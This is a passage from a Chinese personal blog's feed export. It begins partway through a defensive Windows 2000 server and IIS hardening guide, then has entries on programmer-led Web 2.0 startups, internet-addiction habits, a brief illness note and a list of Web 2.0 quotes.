<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　(2) 建议最好一次性全部安装成NTFS分区，而不要先安装成FAT分区再转化为NTFS分区，这样做在安装了SP5和SP6的情况下会导致转化不成功，甚至系统崩溃。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　(3) 安装NTFS分区有一个潜在的危险，就是目前大多数反病毒软件没有提供对软盘启动后NTFS分区病毒的查杀，这样一旦系统中了恶性病毒而导致系统不能正常启动，后果就比较严重，因此及建议平时做好防病毒工作。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　(4)分区和逻辑盘的分配。有一些朋友为了省事，将硬盘仅仅分为一个逻辑盘，所有的软件都装在C驱上，这是很不好的，建议最少建立两个分区，一个系统分区，一个应用程序分区，这是因为，微软的IIS经常会有泄漏源码/溢出的漏洞，如果把系统和IIS放在同一个驱动器会导致系统文件的泄漏甚至入侵者远程获取ADMIN。推荐的安全配置是建立三个逻辑驱动器，第一个大于2G，用来装系统和重要的日志文件，第二个放IIS，第三个放FTP，这样无论IIS或FTP出了安全漏洞都不会直接影响到系统目录和系统文件。要知道，IIS和FTP是对外服务的，比较容易出问题。而把IIS和FTP分开主要是为了防止入侵者上传程序并从IIS中运行。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　(5)安装顺序的选择:win2000在安装中有几个顺序是一定要注意的: 首先，何时接入网络:Win2000在安装时有一个漏洞，在你输入Administrator密码后，系统就建立了ADMIN$的共享，但是并没有用你刚刚输入的密码来保护它，这种情况一直持续到你再次启动后，在此期间，任何人都可以通过ADMIN$进入你的机器;同时，只要安装一完成，各种服务就会自动运行，而这时的服务器是满身漏洞，非常容易进入的，因此，在完全安装并配置好win2000 SERVER之前，一定不要把主机接入网络。 其次，补丁的安装:补丁的安装应该在所有应用程序安装完之后，因为补丁程序往往要替换/修改某些系统文件，如果先安装补丁再安装应用程序有可能导致补丁不能起到应有的效果，例如:IIS的HotFix就要求每次更改IIS的配置都需要安装</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　三、 安全配置NT/2000 SERVER</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　即使正确的安装了WIN2000 SERVER，系统还是有很多的漏洞，还需要进一步进行细致地配置。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　1.端口:端口是计算机和外部网络相连的逻辑接口，也是计算机的第一道屏障，端口配置正确与否直接影响到主机的安全，一般来说，仅打开你需要使用的端口会比较安全，配置的方法是在网卡属性-TCP/IP-高级-选项-TCP/IP筛选中启用TCP/IP筛选，不过对于win2000的端口过滤来说，有一个不好的特性:只能规定开哪些端口，不能规定关闭哪些端口，这样对于需要开大量端口的用户就比较痛苦。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　2.IIS:IIS是微软的组件中漏洞最多的一个，平均两三个月就要出一个漏洞，而微软的IIS默认安装又实在不敢恭维，所以IIS的配置是我们的重点，现在大家跟着我一起来:首先，把C盘那个什么Inetpub目录彻底删掉，在D盘建一个Inetpub(要是你不放心用默认目录名也可以改一个名字，但是自己要记得)在IIS管理器中将主目录指向D:\Inetpub;其次，那个IIS安装时默认的什么scripts等虚拟目录一概删除，如果你需要什么权限的目录可以自己慢慢建，需要什么权限开什么。(特别注意写权限和执行程序的权限，没有绝对的必要千万不要给)第三，应用程序配置:在IIS管理器中删除必须之外的任何无用映射，必须指的是ASP,ASA和其他你确实需要用到的文件类型，例如你用到stml等(使用server side include)，实际上90%的主机有了上面两个映射就够了，其余的映射几乎每个都有一个凄惨的故事:htw, htr, idq, ida……想知道这些故事?去查以前的漏洞列表吧。在IIS管理器中右击主机-&gt;属性-&gt;WWW服务编辑-&gt;主目录配置-&gt;应用程序映射，然后就开始一个个删吧(里面没有全选的，嘿嘿)。接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本(除非你想ASP出错的时候用户知道你的程序/网络/数据库结构)错误文本写什么?随便你喜欢，自己看着办。点击确定退出时别忘了让虚拟站点继承你设定的属性。安装新的Service Pack后，IIS的应用程序映射应重新设置。(说明:安装新的Service Pack后，某些应用程序映射又会出现，导致出现安全漏洞。这是管理员较易忽视的一点。)</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　为了对付日益增多的cgi漏洞扫描器，还有一个小技巧可以参考，在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件，可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单，大多数CGI扫描器在编写时为了方便，都是通过查看返回页面的HTTP代码来判断漏洞是否存在的，例如，著名的IDQ漏洞一般都是通过取1.idq来检验，如果返回HTTP200，就认为是有这个漏洞，反之如果返回HTTP404就认为没有，如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件，那么所有的扫描无论存不存在漏洞都会返回HTTP200，90%的CGI扫描器会认为你什么漏洞都有，结果反而掩盖了你真正的漏洞，让入侵者茫然无处下手,不过从个人角度来说，我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　最后，为了保险起见，你可以使用IIS的备份功能，将刚刚的设定全部备份下来，这样就可以随时恢复IIS的安全配置。还有，如果你怕IIS负荷过高导致服务器满负荷死机，也可以在性能中打开CPU限制，例如将IIS的最大CPU使用率限制在70%。</SPAN></DIV>
<DIV style="LINE-HEIGHT: 150%"><SPAN style="LINE-HEIGHT: 150%">3.</SPAN><SPAN style="LINE-HEIGHT: 150%">帐号策略：（1）帐号尽可能少，且尽可能少用来登录；<BR>　　说明：网站帐号一般只用来做系统维护，多余的帐号一个也不要，因为多一个帐号就会多一份被攻破的危险。 <BR>　　（2）除过Administrator外，有必要再增加一个属于管理员组的帐号；<BR>　　说明：两个管理员组的帐号，一方面防止管理员一旦忘记一个帐号的口令还有一个备用帐号；另方面，一旦黑客攻破一个帐号并更改口令，我们还有有机会重新在短期内取得控制权。</SPAN></DIV>
<DIV style="LINE-HEIGHT: 150%"><SPAN style="LINE-HEIGHT: 150%">（3）所有帐号权限需严格控制，轻易不要给帐号以特殊权限； <BR>　　（4）将Administrator重命名，改为一个不易猜的名字。其他一般帐号也应尊循这一原则。 <BR>　　说明：这样可以为黑客攻击增加一层障碍。<BR>　　（5）将Guest帐号禁用，同时重命名为一个复杂的名字，增加口令，并将它从Guest组删掉； <BR>　　说明：有的黑客工具正是利用了guest 的弱点，可以将帐号从一般用户提升到管理员组。 <BR>　　（6）给所有用户帐号一个复杂的口令（系统帐号出外），长度最少在8位以上，且必须同时包含字母、数字、特殊字符。同时不要使用大家熟悉的单词（如microsoft）、熟悉的键盘顺序（如qwert）、熟悉的数字（如2000）等。<BR>　　说明：口令是黑客攻击的重点，口令一旦被突破也就无任何系统安全可言了，而这往往是不少网管所忽视的地方，据我们的测试，仅字母加数字的5位口令在几分钟内就会被攻破，而所推荐的方案则要安全的多。 <BR>　　（7）口令必须定期更改（建议至少两周该一次），且最好记在心里，除此以外不要在任何地方做记录；另外，如果在日志审核中发现某个帐号被连续尝试，则必须立刻更改此帐号（包括用户名和口令）；<BR>　　（8）在帐号属性中设立锁定次数，比如改帐号失败登录次数超过5次即锁定改帐号。这样可以防止某些大规模的登录尝试，同时也使管理员对该帐号提高警惕。 <BR>　　4．安全日志：Win2000的默认安装是不开任何安全审核的！<BR>　　那么请你到本地安全策略-&gt;审核策略中打开相应的审核，推荐的审核是： <BR>　　账户管理 成功 失败 <BR>　　登录事件 成功 失败 <BR>　　对象访问 失败 <BR>　　策略更改 成功 失败 <BR>　　特权使用 失败 <BR>　　系统事件 成功 失败 <BR>　　目录服务访问 失败 <BR>　　账户登录事件 成功 失败 <BR>　　审核项目少的缺点是万一你想看发现没有记录那就一点都没辙；审核项目太多不仅会占用系统资源而且会导致你根本没空去看，这样就失去了审核的意义。 与之相关的是： <BR>　　在账户策略-&gt;密码策略中设定：<BR>　　密码复杂性要求 启用 <BR>　　密码长度最小值 6位 <BR>　　强制密码历史 5次 <BR>　　最长存留期 30天 <BR>　　在账户策略-&gt;账户锁定策略中设定： <BR>　　账户锁定 3次错误登录 <BR>　　锁定时间 20分钟 <BR>　　复位锁定计数 20分钟 <BR>　　同样，Terminal Service的安全日志默认也是不开的，我们可以在Terminal Service Configration（远程服务配置）-权限-高级中配置安全审核，一般来说只要记录登录、注销事件就可以了。 <BR>　　5.目录和文件权限：为了控制好服务器上用户的权限，同时也为了预防以后可能的入侵和溢出，我们还必须非常小心地设置目录和文件的访问权限，NT的访问权限分为：读取、写入、读取及执行、修改、列目录、完全控制。在默认的情况下，大多数的文件夹对所有用户（Everyone这个组）是完全敞开的（Full Control），你需要根据应用的需要进行权限重设。<BR>　　在进行权限控制时，请记住以下几个原则： <BR>　　1&gt;限是累计的：如果一个用户同时属于两个组，那么他就有了这两个组所允许的所有权限；<BR>　　2&gt;拒绝的权限要比允许的权限高（拒绝策略会先执行）如果一个用户属于一个被拒绝访问某个资源的组，那么不管其他的权限设置给他开放了多少权限，他也一定不能访问这个资源。所以请非常小心地使用拒绝，任何一个不当的拒绝都有可能造成系统无法正常运行； <BR>　　3&gt;文件权限比文件夹权限高； <BR>　　4&gt;利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优良习惯之一；<BR>　　5&gt;仅给用户真正需要的权限，权限的最小化原则是安全的重要保障； <BR>　　6.只安装一种操作系统；说明：安装两种以上操作系统，会给黑客以可乘之机，利用攻击使系统重启到另外一个没有安全设置的操作系统（或者他熟悉的操作系统），进而进行破坏。 <BR>　　7.安装成独立的域控制器（Stand Alone）,选择工作组成员，不选择域；<BR>　　说明：主域控制器（PDC）是局域网中队多台联网机器管理的一种方式，用于网站服务器包含着安全隐患，使黑客有可能利用域方式的漏洞攻击站点服务器。 <BR>　　8.将操作系统文件所在分区与WEB数据包括其他应用程序所在的分区分开，并在安装时最好不要使用系统默认的目录，如将\WINNT改为其他目录；<BR>　　说明：黑客有可能通过WEB站点的漏洞得到操作系统对操作系统某些程序的执行权限，从而造成更大的破坏。同时如果采用IIS的话你应该在其设置中删除掉所有的无用的映射，同时不要安装索引服务，远程站点管理与服务器扩展最好也不要要，然后删掉默认路径下的www，整个删，不要手软，然后再硬盘的另一个硬盘建立存放你网站的文件夹，同时一定记得打开w3c日志纪录，切记（不过本人建议采用apache 1.3.24） <BR>　　系统安装过程中一定本着最小服务原则，无用的服务一概不选择，达到系统的最小安装，多一个服务，多一份风险，呵呵，所以无用组件千万不要安装！ <BR>　　9.关于补丁：在NT下，如果安装了补丁程序，以后如果要从NT光盘上安装新的Windows程序,都要重新安装一次补丁程序， 2000下不需要这样做。<BR>　　说明：<BR>　　（1） 最新的补丁程序，表示系统以前有重大漏洞，非补不可了，对于局域网内服务器可以不是最新的，但站点必须安装最新补丁，否则黑客可能会利用低版本补丁的漏洞对系统造成威胁。这是一部分管理员较易忽视的一点；<BR>　　（2） 安装NT的SP5、SP6有一个潜在威胁，就是一旦系统崩溃重装NT时，系统将不会认NTFS分区，原因是微软在这两个补丁中对NTFS做了改进。只能通过Windows 2000安装过程中认NTFS，这样会造成很多麻烦，建议同时做好数据备份工作。<BR>　　（3） 安装Service Pack前应先在测试机器上安装一次，以防因为例外原因导致机器死机，同时做好数据备份。<BR>　　尽量不安装与WEB站点服务无关的软件；<BR>　　说明：其他应用软件有可能存在黑客熟知的安全漏洞。 <BR>　　10.解除NetBios与TCP/IP协议的绑定：说明：NetBois在局域网内是不可缺少的功能，在网站服务器上却成了黑客扫描工具的首选目标。方法：NT：控制面版——网络——绑定——NetBios接口——禁用 2000：控制面版——网络和拨号连接——本地网络——属性——TCP/IP——属性——高级——WINS——禁用TCP/IP上的NETBIOS <BR>　　11.删除所有的网络共享资源，在网络连接的设置中删除文件和打印共享，只留下TCP/IP协议。<BR>　　说明：NT与2000在默认情况下有不少网络共享资源，在局域网内对网络管理和网络通讯有用，在网站服务器上同样是一个特大的安全隐患。（卸载“Microsoft 网络的文件和打印机共享”。当查看“网络和拨号连接”中的任何连接属性时，将显示该选项。单击“卸载”按钮删除该组件；清除“Microsoft 网络的文件和打印机共享”复选框将不起作用。）<BR>　　方法：<BR>　　(1)NT:管理工具——服务器管理器——共享目录——停止共享；<BR>　　2000:控制面版——管理工具——计算及管理——共享文件夹———停止共享。<BR>　　但上述两种方法太麻烦，服务器每重启一次，管理员就必须停止一次。<BR>　　（2）修改注册表：<BR><SPAN>&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>运行Regedit，然后修改注册表在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters下增加一个键 <BR>　　<BR>　　Name: AutoShareServer<BR>　　Type: REG_DWORD <BR>　　value: 0 <BR>　　然后重新启动您的服务器，磁盘分区共享去掉，但IPC共享仍存在，需每次重启后手工删除。 <BR>　　12.改NTFS的安全权限；说明：NTFS下所有文件默认情况下对所有人（EveryOne）为完全控制权限，这使黑客有可能使用一般用户身份对文件做增加、删除、执行等操作，建议对一般用户只给予读取权限，而只给管理员和System以完全控制权限，但这样做有可能使某些正常的脚本程序不能执行，或者某些需要写的操作不能完成，这时需要对这些文件所在的文件夹权限进行更改，建议在做更改前先在测试机器上作测试，然后慎重更改。 <BR>　　13.加强数据备份；说明：这一点非常重要，站点的核心是数据，数据一旦遭到破坏后果不堪设想，而这往往是黑客们真正关心的东西；遗憾的是，不少网管在这一点上作的并不好，不是备份不完全，就是备份不及时。数据备份需要仔细计划，制定出一个策略并作了测试以后才实施，而且随着网站的更新，备份计划也需要不断地调整。 <BR>　　14.只保留TCP/IP协议，删除NETBEUI、IPX/SPX协议；说明：网站需要的通讯协议只有TCP/IP，而NETBEUI是一个只能用于局域网的协议，IPX/SPX是面临淘汰的协议，放在网站上没有任何用处，反而会被某些黑客工具利用。</SPAN></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=396" /> 
	  <id>http://www.openx.cn/default.asp?id=396</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Web2.0创业：程序员的创业？]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-12-25T09:14:33+08:00</updated>
	  <published>2006-12-25T09:14:33+08:00</published>
		  <summary type="html"><![CDATA[<FONT size=2><EM><FONT size=3>“vini,vidi,vici? (我来了，我看到了，我征服了) ”<BR></FONT></EM>—— 凯撒大帝（公元前44年被刺死）</FONT> 
<P>　　上面这句话应当很符合当下正在激情澎湃中的创业团队的心境。今天我知道，说这句话的人当年何等意气风发，最后却并没有好死。似乎大多数打着Web2.0旗号的创业团队都是技术人员组成，我也是技术出身，所以觉得特别需要讨论一下由技术人员为主的创业团队的问题。</P>
<P>　　<STRONG>A 无知者无畏，但可悲</STRONG></P>
<P>　　对于一个技术团队，典型的启动场景是这样：看到某个很火的网站，然后几个人一看就知道所有的技术应当如何来做（当然我们知道1万用户和1千万用户的系统作同样的事情的方式完全不同），于是就写了几个页面，觉得“我们也可以做！”。再然后，喝酒，上路……</P>
<P>　　哥几个且慢，听我说一句。第一个问题就是：你运作（不是编码）过网站么？你知道需要哪些人、哪些资源才可以运作一个网站么？（如果你回答只需要找几个编辑云云，就无望了）这些事情你都没有做过，也没很好的去打听去学习去思考，就确定你可以搞定？13亿人有这雄心世界上早就只有一个国家了！</P>
<P>　　如果还不知道你会面对什么，你需要解决什么问题，就去弄明白，成败不在这几天几周功夫。所有过来人都会告诉你，运作网站、创业需要如此如此多的资源以及考虑，技术只是小小的一块。那么在你上马之时，除了技术你还有什么？缺乏大部分的东西。</P>
<P>　　<STRONG>B 切不可技术主导</STRONG></P>
<P>　　很自然，程序员来做必然技术主导。即使团队中有其他人，他们和他们的意见也会被边缘化（后面说这个问题）。如果我们要解决的问题是一个有确定需求的东西，目标只是技术上实现此系统，则这种方式绝无问题，甚至很专业。然而我们的目标是要设计（需求是不确定的并且会变化）一个东西，并且要运作他（不是运行它，非技术概念），就必须换一种思路和角度来考虑问题。特别是领导人，必须超脱于技术思维之上，否则最后的结果必然是“程序员们认为最好的东西”。</P>
<P>　　<STRONG>C 思路的困顿，细节的羁绊</STRONG></P>
<P>　　我所常说的至上的细节主义，乃是对于设计的细节，而不是实现的细节，用任何方式实现所需要的细节效果即可，除了程序员不会有人关心实现细节。</P>
<P>　　程序员可能就某个具体细节和实现方式认真地讨论半天并且重构你的系统，但是对于用户来说，这种修正对于使用没有任何值得一提的改善，价值几乎为0。所以不值得做这件事情，不过程序员不能接受不完美的解决方案，所以还是花了许多时间做一件没有意义的事情。</P>
<P>　　程序员会拘泥于很多细节，本身不是坏事，但是当和用户关注的细节所错开时就麻烦了：你在做无用的改进，用户仍然在抱怨。当整个团队的思考重心都在技术上时，决策的偏向性会很明显，而且自己是无法察觉的。只有市场才会最终告诉你错了。</P>
<P>　　<STRONG>D 无为才可无不为</STRONG></P>
<P>　　这个命题大了，本来与程序员无关，但是在程序员团队中特别严重。试问，倘若你是这个程序员团队的老大，你会去code么？你说会的，硅谷的所有酷公司的CEO都是亲自编码的，至少在起步阶段。</P>
<P>　　第一，老大亲自编码并非成功必要条件，更不是充分条件。有点花絮性质；第二，那帮子家伙可是在做完了老大该做的事情后才去code的，要不然混不到今天。</P>
<P>　　试问老大整天在code，谁去思考战略问题？谁去联络人脉和资源？这里无为的意思在于两层：第一层，你必须腾出时间和精力，才可以去思考，才可以去发现被忽视的问题，而这个不是非常重要，是“相当”的重要；第二层，你作为老大，去作具体的事情，作的不好没人怪你，做的决定没人提出异议……你有没有觉得味儿不对？</P>
<P>　　那么，如何由技术人员成长为合格的老大？我不知道（不然可没功夫在这里扯淡，自嘲），只能给出几条参考的原则：</P>
<P>　　<STRONG>1） 你不可以是技术领头人</STRONG></P>
<P>　　程序员通常会由资历最老、技术最好的人来当领导人，但是好像武林门派的掌门人未必是武功最高的吧，那种最牛鼻的，一般都隐藏在幕后，他们不适合作老大。</P>
<P>　　我还不能透彻理解无为，但是值得大家去思考，因为我们都是中国人，这种文化硅谷是没有的。</P>
<P>　　<STRONG>2） 提出要求和问题、引导解决，结论不可以由你给出</STRONG></P>
<P>　　刚才也提到了，你做错了没人可以批评，你说的一般没人反对，但是很多事情，你不能了解所有的信息（因为你不具体负责那块工作）但是你代替那个做事的人作出了具体决定，那么就有错误的可能。让每个人在各自的层面、各自的领域去思考去决定，你来管理所有的人才是正确的。你要做的就是看着整个军团的运作，思考还有什么没有想到的，指导某一块的改进，全都是隐性工作，所以不做也无所谓，所以总是被很多人忽视，所以失败者一定很多。</P>
<P>　　<STRONG>3） 平衡团队中的小团队</STRONG></P>
<P>　　稍微有点见识的，一定会拉几个非技术的人入伙。但是更进一步的，你必须思考他们的定位。第一，老大也许不自觉的还是技术思维，而与他们讲不同的语言；第二，本来老大的亲信就是那群技术员。所以他们是孤立的边缘化的。但是在更高的角度看，技术应当是一小块，最为重要的是策划和运作。</P>
<P>　　祝天下英雄早日功成名就！希望明年Donews英雄大会上多出几个真正的英雄，而且不是那种只能风光几年的小角色。</P>
<P>&nbsp;</P>
<P>转:http://job.csdn.net/n/20060320/88407.html</P>
<P>&nbsp;</P>
<P><FONT color=#ff0000>文章写的不错，本人体会满深的，技术就是要专研进取，设计就是要不断创新。</FONT></P>
<P><FONT color=#ff0000>只有专注才能成就，毕竟人的精力总是有限的。</FONT></P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=395" /> 
	  <id>http://www.openx.cn/default.asp?id=395</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[英国科学权威杂志:上网成瘾 8大病态]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-12-25T08:56:39+08:00</updated>
	  <published>2006-12-25T08:56:39+08:00</published>
		  <summary type="html"><![CDATA[<P><FONT face=Arial>《时代》周刊公布2006年的风云人物是“你”（You），全世界每一人都可以通过互联网，成为主角──主导传媒，影响全世界，但《时代》只是说对了一半，却没有提及经常上网会引发的心瘾和病态。据苹果日报报导，英国科学权威杂志《新科学家》（New Scientist）列出八种由互联网引发的心瘾和病态，如果出现以上“病征”，就代表你“上瘾”已深，该醒醒了！<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp;&nbsp; 自大浏览（Ego Surfing）</STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 如果你经常在雅虎或Google等搜寻器上输入自己的姓名，按键搜索，就是“自大浏览”。在网上搜寻自己姓名其实没有什么大不了，但经常这样做却是要满足虚荣心，从而衍生出自大或自卑感，则属于心理不健康。<BR>&nbsp;&nbsp;&nbsp; 不少“自大浏览者”发现自己“大名”出现在网上，甚至排列在较前的搜寻结果位置，会沾沾自喜；如果发现同名同姓者，成就或搜寻位置高过自己，心就不是味儿。此类“自大浏览者”全球比比皆是，1997年成立的“自大浏览者”专用网站Ego Surf，每月就有200万人登入。</FONT></P>
<P><FONT face=Arial><STRONG>&nbsp;&nbsp;&nbsp; 博客裸跑（Blog Streaking）<BR></STRONG><BR>&nbsp;&nbsp;&nbsp; 把自己私隐公诸于世，那怕是最羞于齿的东西，在网上也可以公开展示，《新科学家》称这种行为“博客裸跑”。博客中，网客多用日记或散文形式，将生活中的点滴展示在网上，此举原本无伤大雅，但在一些征友网站中，部份“热切”渴望交友的网客，不惜袒胸露乳，公布自己三围数字等隐私。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp; Google窥探（Google Stalking）<BR></STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 利用搜寻器Google，查阅一些早已失去联络的故友旧爱，这情况也适用于明星，追星者希望搜寻出偶像们的联络方法，甚至住址，故称之为“Google窥探”。<BR>&nbsp;&nbsp;&nbsp; “Google窥探”出于刺探人家底细的需要，对象可能是同行竞争对手，或者情敌，起初是基于知己知彼的需要，但久而久之，对一些无关痛痒人士也要进行“起底”，反映窥探心理愈来愈强，已到了一发不可收拾地步。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp; 狂热BlackBerry迷（Crackberry）<BR></STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 现代人重视资讯和讲求速度，一部BlackBerry在手，不出户可知天下事，但用得多却会上瘾。《新科学家》贴切地形容这些狂热 BlackBerry迷，指他们“即使出席至亲葬礼，也埋首用BlackBerry，不能自拔”，正是BlackBerry上瘾者最佳写照。英国有研究指出，约1/3的BlackBerry用户会出现长期失眠、精神不振和腰酸骨痛，这就是用上瘾的后遗症。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp; 下载歌曲狂（Cheesepodder）<BR></STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 指下载歌曲成瘾的人。苹果电脑（Apple）推出数码音乐播放机iPod和音乐下载网站iTunes，让网民从iTunes下载一首歌只需79便士（约港币12元），既方便又省钱，不少人从此下载成瘾。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp; 偷看他人相片（Photolurking）<BR></STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 网上素未谋面者数以亿计，很多人在网上有自己的相簿，存放毕业相、结婚相或者旅行相，如果你会打开这些陌生人的相簿，浏览一番，你就拥有偷看相片的心瘾。有人甚至为了一窥别人相簿，不惜花尽心思破解别人的密码。例如Yahoo旗下网站Flickr，就是专门用来搜寻陌生人相片，部份网民更废寝忘餐搜寻。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp; 维基百科狂（Wikipediholism）<BR></STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 指那些过度沉迷编写维基百科的人。《新科学家》指出，加拿大科学仪器销售员德克林（BryanDerksen）每日花两小时编写维基百科，至今已写了7万多篇文章，他认为这是建立人类知识宝库的浩大工程，充满意义。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG>&nbsp;&nbsp;&nbsp; 上网自诊狂（Cyberchondriac）<BR></STRONG></FONT></P>
<P><FONT face=Arial>&nbsp;&nbsp;&nbsp; 泛指在网上寻找健康和病痛的参考资料。网上资讯浩瀚如海，互相贯连，无限引申，例如查阅头痛和出红疹的根源，互联网可以连结到癌症，所以尽信网上资讯而不求医的人士，可能会被一些假资讯误导，导致惶恐终日，小病都会变大病。如果网民太过信任互联网，根据网上资料开出药方，自诊自疗，还可能出现误诊，导致治疗失当，病情恶化。</FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=394" /> 
	  <id>http://www.openx.cn/default.asp?id=394</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[生病了~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-12-05T08:49:22+08:00</updated>
	  <published>2006-12-05T08:49:22+08:00</published>
		  <summary type="html"><![CDATA[<P>周天晚上发烧了呼呼,昨天一大早就去看病,窝在家一整天.</P>
<P>现在好多了,但是还是要吃药,头还有点晕晕的~呼呼</P>
<P>&nbsp;</P>
<P>要加强锻炼,身体是革命的本钱哇~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=393" /> 
	  <id>http://www.openx.cn/default.asp?id=393</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关于Web2.0的十八句名言]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-12-01T08:51:50+08:00</updated>
	  <published>2006-12-01T08:51:50+08:00</published>
		  <summary type="html"><![CDATA[<P>“创建一个成功的企业的最好办法就是帮助别人赚钱。”Topix.net的Rich Skrenta解释AOL的政策时说到 </P>
<P>“我上许多的新闻网站，因为我不相信其中任何一个。”17岁的Sean这么解释他如何阅读在线新闻的。 </P>
<P>“当你上了大学以后，Myspace就算不上什么了”高中毕业生18岁的Sasha说。 </P>
<P>“在你发展的过程中建造，学习和犯错–你将会在做事情的过程中学到更多，而不是在你做这件事情之前。”37Signals的Jason Fried，他拥护迭代开发模式(iterative development)。 </P>
<P>“在5到10年内，媒体的价值将存在于那些培养用户的公司，而不是那些控制内容的公司。”Kleiner Perkins的前任合伙人Vinod Khosla说。 </P>
<P>“对我而言，透明度是一件具有竞争性的武器。”Sun微系统公司的CEO Jonathan Schwartz这么解释自己为什么写Blog。 </P>
<P>“Ebay有1.5亿的用户，理想的来说，就是1.5亿个人学会了如何相信陌生人。”Ebay的创始人Pierre Omidyar认为商业能为积极的社会变革带来动力。 </P>
<P>“我最喜欢Google，因为他们最干净。其他的网站则试图将你的注意力带走。去那些网站不会有任何收获。”18岁的Sasha这么解释为什么适应用户习惯比起强迫他们去适应你要来的聪明的多。 </P>
<P>“我们的成功与我们的总裁们的‘好主意’一点关系没有。”Google创始人Sergey Brin更喜欢群体的智慧。 </P>
<P>“我们96%的时间里不知道自己在做什么。”Flickr的创始人Stewart Butterfield认为剩下的4%足以让许多人非常快乐了。 </P>
<P>“雇用律师起诉对于那些普通公司来说，比起自己创意要简单的多”前任FCC的主席Michael Powell解释为什么那些提供内容服务的公司起诉他们的顾客。 </P>
<P>“我告诉我的工程师，不管你有多么聪明，在公司外有着更多比你聪明的人，所以我们需要提供给他们工具，让他们创新。”Omidyar也喜欢群体的智慧。 </P>
<P>“传统上，人们认为越多越好。多的也许能行，但是它将会是痛苦、昂贵和冰冷的。看看那些一条路走到黑的人，无法与别人竞争。”Fried创造了几个新词。 </P>
<P>证明这个世界与原始的数码时代完全不同：假设你要买一个CD机，你要到哪去买？17岁的Sean困惑的说：“CD机是什么？” </P>
<P>“你给一个公司越多的钱，他们越不可能成功。”Khosla说。 </P>
<P>“一般的消费者并不知道浏览器、互联网以及搜索框之间的区别。”Mozilla基金会的Mitchell Baker提供了这样的观点。 </P>
